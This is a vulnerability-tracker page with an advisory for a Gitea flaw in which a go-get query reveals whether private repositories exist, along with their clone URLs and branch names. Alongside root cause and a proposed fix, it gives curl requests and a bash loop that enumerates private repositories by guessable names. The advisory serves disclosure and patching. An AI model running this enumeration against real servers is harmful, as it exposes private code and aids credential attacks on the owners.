Kestrel
대시보드로 돌아가기
CVE-2026-58507MEDIUM· 5.3GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.15.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

상세 설명

FieldValue
Affected Filerouters/web/repo/githttp.go, services/context/repo.go
Affected FunctionshttpBase(), EarlyResponseForGoGetMeta()
Affected Linesgithttp.go:63–66, services/context/repo.go:374–396
PrerequisiteNone — fully unauthenticated

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:

  • The repository is private
  • The requesting user is authenticated
  • The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63–66:

text
1func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
2 reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
3
4 if ctx.FormString("go-get") == "1" {
5 context.EarlyResponseForGoGetMeta(ctx)
6 return nil // ← returns before any auth or permission check
7 }
8 ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:

text
1// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
2// if user does not have actual access to the requested repository,
3// or the owner or repository does not exist at all.
4// This is particular a workaround for "go get" command which does not respect
5// .netrc file.
6func EarlyResponseForGoGetMeta(ctx *Context) {
7 username := ctx.PathParam("username")
8 reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
9 ...
10 ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
11}

The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

  1. The full repository name and owner — confirming the repository exists
  2. The HTTP clone URL — a fully-formed URL pointing to the repository
  3. The source browsing URL templates — which may reveal the default branch name

This allows an unauthenticated attacker to:

  1. Confirm existence of any private repository by name
  2. Enumerate private repository names through brute-force without triggering authentication failures
  3. Harvest clone URLs and default branch names of private repositories

Proof of Concept

Step 1 — Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:


Step 2 — Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.


Step 3 — Bypass using go-get parameter

bash
1curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

bash
1<!doctype html>
2<html>
3 <head>
4 <meta name="go-import"
5 content="localhost:3000/admin/classified-internal
6 git
7 http://localhost:3000/admin/classified-internal.git">
8 <meta name="go-source"
9 content="localhost:3000/admin/classified-internal
10 _
11 http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
12 http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
13 </head>
14 <body>
15 go get --insecure localhost:3000/admin/classified-internal
16 </body>
17</html>

The response:

  • Returns HTTP 200 (not 404) — confirming the repository exists
  • Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
  • Reveals the default branch name: main
  • Reveals the owner username: admin

This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.


Step 4 — Enumerate private repositories at scale

bash
1# Enumerate private repos by guessing common names
2for name in internal deploy secrets infra api-keys prod-config db-creds; do
3 response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
4 if echo "$response" | grep -q "go-import"; then
5 clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
6 echo "[FOUND] admin/${name} → clone: http://${clone_url}"
7 fi
8done

Step 5 — Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

bash
1# Works on any repo-scoped URL
2curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
3curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import"

All return HTTP 200 with the metadata.


Impact Analysis

Direct impact:

What is leakedSensitivity
Repository existsConfirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization nameReveals organizational structure
Clone URLProvides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch nameReduces brute-force surface for subsequent attacks

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.


Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

text
1// routers/web/repo/githttp.go:6366 — proposed fix
2
3if ctx.FormString("go-get") == "1" {
4 // For public repos, always respond to support the go toolchain
5 if repo != nil && !repo.IsPrivate {
6 context.EarlyResponseForGoGetMeta(ctx)
7 return nil
8 }
9 // For private repos, only respond if the user is authenticated
10 // and has at least read access
11 if ctx.IsSigned {
12 if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
13 if perm.CanRead(unit.TypeCode) {
14 context.EarlyResponseForGoGetMeta(ctx)
15 return nil
16 }
17 }
18 }
19 // Unauthenticated request for a private repo — return 404 consistent
20 // with normal behavior; the go toolchain will prompt for credentials
21 ctx.PlainText(http.StatusNotFound, "Repository not found")
22 return nil
23}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.


AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.